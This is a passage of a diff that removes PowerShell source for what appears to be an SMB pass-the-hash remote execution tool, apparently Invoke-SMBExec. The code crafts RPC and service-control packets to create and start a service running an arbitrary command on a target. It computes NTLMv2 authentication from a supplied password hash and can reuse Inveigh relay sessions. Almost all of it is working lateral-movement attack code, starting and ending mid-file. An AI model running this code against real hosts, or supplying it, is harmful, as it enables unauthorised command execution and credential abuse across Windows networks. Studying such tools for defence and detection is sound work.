-    $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00))
-    $RPCBind.Add("ContextID",$ContextID)
-    $RPCBind.Add("NumTransItems",[Byte[]](0x01))
-    $RPCBind.Add("Unknown2",[Byte[]](0x00))
-    $RPCBind.Add("Interface",$UUID)
-    $RPCBind.Add("InterfaceVer",$UUIDVersion)
-    $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00))
-    $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))
-    $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00))
-
-    if($NumCtxItems[0] -eq 2)
-    {
-        $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00))
-        $RPCBind.Add("NumTransItems2",[Byte[]](0x01))
-        $RPCBind.Add("Unknown3",[Byte[]](0x00))
-        $RPCBind.Add("Interface2",$UUID)
-        $RPCBind.Add("InterfaceVer2",$UUIDVersion)
-        $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00))
-        $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
-    }
-    elseif($NumCtxItems[0] -eq 3)
-    {
-        $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00))
-        $RPCBind.Add("NumTransItems2",[Byte[]](0x01))
-        $RPCBind.Add("Unknown3",[Byte[]](0x00))
-        $RPCBind.Add("Interface2",$UUID)
-        $RPCBind.Add("InterfaceVer2",$UUIDVersion)
-        $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00))
-        $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36))
-        $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
-        $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00))
-        $RPCBind.Add("NumTransItems3",[Byte[]](0x01))
-        $RPCBind.Add("Unknown4",[Byte[]](0x00))
-        $RPCBind.Add("Interface3",$UUID)
-        $RPCBind.Add("InterfaceVer3",$UUIDVersion)
-        $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00))
-        $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00))
-    }
-
-    if($call_ID -eq 3)
-    {
-        $RPCBind.Add("AuthType",[Byte[]](0x0a))
-        $RPCBind.Add("AuthLevel",[Byte[]](0x02))
-        $RPCBind.Add("AuthPadLength",[Byte[]](0x00))
-        $RPCBind.Add("AuthReserved",[Byte[]](0x00))
-        $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00))
-        $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
-        $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
-        $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2))
-        $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))
-    }
-
-    return $RPCBind
-}
-
-function New-PacketRPCRequest
-{
-    param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data)
-
-    if($AuthLength -gt 0)
-    {
-        $full_auth_length = $AuthLength + $AuthPadding + 8
-    }
-
-    [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length)
-    [Byte[]]$frag_length = $write_length[0,1]
-    [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length)
-    [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1]
-
-    $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $RPCRequest.Add("Version",[Byte[]](0x05))
-    $RPCRequest.Add("VersionMinor",[Byte[]](0x00))
-    $RPCRequest.Add("PacketType",[Byte[]](0x00))
-    $RPCRequest.Add("PacketFlags",$Flags)
-    $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
-    $RPCRequest.Add("FragLength",$frag_length)
-    $RPCRequest.Add("AuthLength",$auth_length)
-    $RPCRequest.Add("CallID",$CallID)
-    $RPCRequest.Add("AllocHint",$alloc_hint)
-    $RPCRequest.Add("ContextID",$ContextID)
-    $RPCRequest.Add("Opnum",$Opnum)
-
-    if($data.Length)
-    {
-        $RPCRequest.Add("Data",$Data)
-    }
-
-    return $RPCRequest
-}
-
-#SCM
-
-function New-PacketSCMOpenSCManagerW
-{
-    param ([Byte[]]$packet_service,[Byte[]]$packet_service_length)
-
-    [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92)
-    [Byte[]]$packet_frag_length = $packet_write_length[0,1]
-    [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68)
-    $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
-    $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-    $packet_referent_ID1 += 0x00,0x00
-    $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
-    $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-    $packet_referent_ID2 += 0x00,0x00
-
-    $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary
-    $packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1)
-    $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length)
-    $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length)
-    $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service)
-    $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2)
-    $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00))
-    $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00))
-    $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00))
-    $packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00))
-    $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf))
-    $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00))
-    
-    return $packet_SCMOpenSCManagerW
-}
-
-function New-PacketSCMCreateServiceW
-{
-    param([Byte[]]$ContextHandle,[Byte[]]$Service,[Byte[]]$ServiceLength,[Byte[]]$Command,[Byte[]]$CommandLength)
-                
-    $referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
-    $referent_ID = $referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-    $referent_ID += 0x00,0x00
-
-    $SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary
-    $SCMCreateServiceW.Add("ContextHandle",$ContextHandle)
-    $SCMCreateServiceW.Add("ServiceName_MaxCount",$ServiceLength)
-    $SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("ServiceName_ActualCount",$ServiceLength)
-    $SCMCreateServiceW.Add("ServiceName",$Service)
-    $SCMCreateServiceW.Add("DisplayName_ReferentID",$referent_ID)
-    $SCMCreateServiceW.Add("DisplayName_MaxCount",$ServiceLength)
-    $SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("DisplayName_ActualCount",$ServiceLength)
-    $SCMCreateServiceW.Add("DisplayName",$Service)
-    $SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00))
-    $SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("BinaryPathName_MaxCount",$CommandLength)
-    $SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("BinaryPathName_ActualCount",$CommandLength)
-    $SCMCreateServiceW.Add("BinaryPathName",$Command)
-    $SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00))
-    $SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00))
-
-    return $SCMCreateServiceW
-}
-
-function New-PacketSCMStartServiceW
-{
-    param([Byte[]]$ContextHandle)
-
-    $SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary
-    $SCMStartServiceW.Add("ContextHandle",$ContextHandle)
-    $SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
-    return $SCMStartServiceW
-}
-
-function New-PacketSCMDeleteServiceW
-{
-    param([Byte[]]$ContextHandle)
-
-    $SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary
-    $SCMDeleteServiceW.Add("ContextHandle",$ContextHandle)
-
-    return $SCMDeleteServiceW
-}
-
-function New-PacketSCMCloseServiceHandle
-{
-    param([Byte[]]$ContextHandle)
-
-    $SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary
-    $SCM_CloseServiceW.Add("ContextHandle",$ContextHandle)
-
-    return $SCM_CloseServiceW
-}
-
-function DataLength2
-{
-    param ([Int]$length_start,[Byte[]]$string_extract_data)
-
-    $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0)
-
-    return $string_length
-}
-
-if($hash -like "*:*")
-{
-    $hash = $hash.SubString(($hash.IndexOf(":") + 1),32)
-}
-
-if($Domain)
-{
-    $output_username = $Domain + "\" + $Username
-}
-else
-{
-    $output_username = $Username
-}
-
-if($PSBoundParameters.ContainsKey('Session'))
-{
-    $inveigh_session = $true
-}
-
-if($PSBoundParameters.ContainsKey('Session'))
-{
-
-    if(!$Inveigh)
-    {
-        Write-Output "[-] Inveigh Relay session not found"
-        $startup_error = $true
-    }
-    elseif(!$inveigh.session_socket_table[$session].Connected)
-    {
-        Write-Output "[-] Inveigh Relay session not connected"
-        $startup_error = $true
-    }
-
-    $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString
-}
-
-$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id
-$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID))
-[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
-if(!$inveigh_session)
-{
-    $SMB_client = New-Object System.Net.Sockets.TCPClient
-    $SMB_client.Client.ReceiveTimeout = 60000
-}
-
-if(!$startup_error -and !$inveigh_session)
-{
-
-    try
-    {
-        $SMB_client.Connect($Target,"445")
-    }
-    catch
-    {
-        Write-Output "$Target did not respond"
-    }
-
-}
-
-if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected))
-{
-    $SMB_client_receive = New-Object System.Byte[] 1024
-
-    if(!$inveigh_session)
-    {
-        $SMB_client_stream = $SMB_client.GetStream()
-        $SMB_client_stage = 'NegotiateSMB'
-
-        while($SMB_client_stage -ne 'exit')
-        {
-            
-            switch ($SMB_client_stage)
-            {
-
-                'NegotiateSMB'
-                {          
-                    $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00       
-                    $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version
-                    $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                    $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                    $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                    $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                    $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                    $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                    $SMB_client_stream.Flush()    
-                    $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                    if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42')
-                    {
-                        $SMB_version = 'SMB1'
-                        $SMB_client_stage = 'NTLMSSPNegotiate'
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f')
-                        {
-
-                            if($SigningCheck)
-                            {
-                                Write-Output "SMB signing is required"
-                                $SMB_client_stage = 'exit'
-                            }
-                            else
-                            {    
-                                Write-Verbose "SMB signing is required"
-                                $SMB_signing = $true
-                                $SMB_session_key_length = 0x00,0x00
-                                $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0
-                            }
-
-                        }
-                        else
-                        {
-
-                            if($SigningCheck)
-                            {
-                                Write-Output "SMB signing is not required"
-                                $SMB_client_stage = 'exit'
-                            }
-                            else
-                            {    
-                                $SMB_signing = $false
-                                $SMB_session_key_length = 0x00,0x00
-                                $SMB_negotiate_flags = 0x05,0x82,0x08,0xa0
-                            }
-
-                        }
-
-                    }
-                    else
-                    {
-                        $SMB_client_stage = 'NegotiateSMB2'
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')
-                        {
-
-                            if($SigningCheck)
-                            {
-                                Write-Output "SMB signing is required"
-                                $SMB_client_stage = 'exit'
-                            }
-                            else
-                            {    
-                                Write-Verbose "SMB signing is required"
-                                $SMB_signing = $true
-                                $SMB_session_key_length = 0x00,0x00
-                                $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0
-                            }
-
-                        }
-                        else
-                        {
-
-                            if($SigningCheck)
-                            {
-                                Write-Output "SMB signing is not required"
-                                $SMB_client_stage = 'exit'
-                            }
-                            else
-                            {    
-                                $SMB_signing = $false
-                                $SMB_session_key_length = 0x00,0x00
-                                $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0
-                            }
-
-                        }
-
-                    }
-
-                }
-
-                'NegotiateSMB2'
-                {
-                    $tree_ID = 0x00,0x00,0x00,0x00
-                    $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
-                    $message_ID = 1
-                    $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID
-                    $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest
-                    $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                    $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                    $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                    $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                    $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                    $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                    $SMB_client_stream.Flush()    
-                    $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                    $SMB_client_stage = 'NTLMSSPNegotiate'
-                }
-                    
-                'NTLMSSPNegotiate'
-                { 
-                    
-                    if($SMB_version -eq 'SMB1')
-                    {
-                        $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                        }
-
-                        $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate       
-                        $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                    }
-                    else
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID
-                        $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate       
-                        $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                    }
-
-                    $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                    $SMB_client_stream.Flush()    
-                    $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                    $SMB_client_stage = 'exit'
-                }
-                
-            }
-
-        }
-
-        if(!$SigningCheck)
-        {
-            $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive)
-            $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-",""
-            $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000")
-            $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2
-            $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive
-            $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive
-            $session_ID = $SMB_client_receive[44..51]
-            $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)]
-            $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)]
-            $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)]
-            $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-"
-            $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-            $auth_hostname = (Get-ChildItem -path env:computername).Value
-            $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)
-            $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain)
-            $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)
-            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)
-            $auth_domain_length = $auth_domain_length[0,1]
-            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)
-            $auth_domain_length = $auth_domain_length[0,1]
-            $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)
-            $auth_username_length = $auth_username_length[0,1]
-            $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)
-            $auth_hostname_length = $auth_hostname_length[0,1]
-            $auth_domain_offset = 0x40,0x00,0x00,0x00
-            $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)
-            $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)
-            $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)
-            $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)
-            $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5
-            $HMAC_MD5.key = $NTLM_hash_bytes
-            $username_and_target = $username.ToUpper()
-            $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)
-            $username_and_target_bytes += $auth_domain_bytes
-            $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)
-            $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
-            $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
-            $security_blob_bytes = 0x01,0x01,0x00,0x00,
-                                    0x00,0x00,0x00,0x00 +
-                                    $SMB_target_time_bytes +
-                                    $client_challenge_bytes +
-                                    0x00,0x00,0x00,0x00 +
-                                    $SMB_target_details +
-                                    0x00,0x00,0x00,0x00,
-                                    0x00,0x00,0x00,0x00
-
-            $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes
-            $HMAC_MD5.key = $NTLMv2_hash
-            $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)
-
-            if($SMB_signing)
-            {
-                $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)
-                $session_key = $session_base_key
-                $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256
-                $HMAC_SHA256.key = $session_key
-            }
-
-            $NTLMv2_response = $NTLMv2_response + $security_blob_bytes
-            $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)
-            $NTLMv2_response_length = $NTLMv2_response_length[0,1]
-            $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)
-
-            $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,
-                                    0x03,0x00,0x00,0x00,
-                                    0x18,0x00,
-                                    0x18,0x00 +
-                                    $auth_LM_offset +
-                                    $NTLMv2_response_length +
-                                    $NTLMv2_response_length +
-                                    $auth_NTLM_offset +
-                                    $auth_domain_length +
-                                    $auth_domain_length +
-                                    $auth_domain_offset +
-                                    $auth_username_length +
-                                    $auth_username_length +
-                                    $auth_username_offset +
-                                    $auth_hostname_length +
-                                    $auth_hostname_length +
-                                    $auth_hostname_offset +
-                                    $SMB_session_key_length +
-                                    $SMB_session_key_length +
-                                    $SMB_session_key_offset +
-                                    $SMB_negotiate_flags +
-                                    $auth_domain_bytes +
-                                    $auth_username_bytes +
-                                    $auth_hostname_bytes +
-                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
-                                    $NTLMv2_response
-
-            if($SMB_version -eq 'SMB1')
-            {
-                $SMB_user_ID = $SMB_client_receive[32,33]
-                $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID
-
-                if($SMB_signing)
-                {
-                    $packet_SMB_header["Flags2"] = 0x05,0x48
-                }
-
-                $packet_SMB_header["UserID"] = $SMB_user_ID
-                $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response
-                $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate      
-                $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
-                $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-            }
-            else
-            {
-                $message_ID++
-                $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID  $process_ID $tree_ID $session_ID
-                $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response
-                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth        
-                $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth
-                $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-            }
-
-            try
-            {
-                $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                $SMB_client_stream.Flush()
-                $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                if($SMB_version -eq 'SMB1')
-                {
-
-                    if([System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00')
-                    {
-                        Write-Verbose "$output_username successfully authenticated on $Target"
-                        $login_successful = $true
-                    }
-                    else
-                    {
-                        Write-Output "$output_username failed to authenticate on $Target"
-                        $login_successful = $false
-                    }
-
-                }
-                else
-                {
-                    if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')
-                    {
-                        Write-Verbose "$output_username successfully authenticated on $Target"
-                        $login_successful = $true
-                    }
-                    else
-                    {
-                        Write-Output "$output_username failed to authenticate on $Target"
-                        $login_successful = $false
-                    }
-
-                }
-
-            }
-            catch
-            {
-                $error_message = $_.Exception.Message
-                $error_message = $error_message -replace "`n",""
-                Write-Output "[-] $error_message"
-            }
-
-        }
-
-    }
-
-    if($login_successful -or $inveigh_session)
-    {
-
-        if($inveigh_session)
-        {
-
-            if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked')
-            {
-                Write-Output "[*] Pausing due to Inveigh Relay session lock"
-                Start-Sleep -s 2
-            }
-
-            $inveigh.session_lock_table[$session] = 'locked'
-            $SMB_client = $inveigh.session_socket_table[$session]
-            $SMB_client_stream = $SMB_client.GetStream()
-            $session_ID = $inveigh.session_table[$session]
-            $message_ID =  $inveigh.session_message_ID_table[$session]
-            $tree_ID = 0x00,0x00,0x00,0x00
-            $SMB_signing = $false
-        }
-
-        $SMB_path = "\\" + $Target + "\IPC$"
-
-        if($SMB_version -eq 'SMB1')
-        {
-            $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00
-        }
-        else
-        {
-            $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path)
-        }
-
-        $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03
-
-        if(!$Service)
-        {
-            $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
-            $SMB_service = $SMB_service_random -replace "-00",""
-            $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1)
-            $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
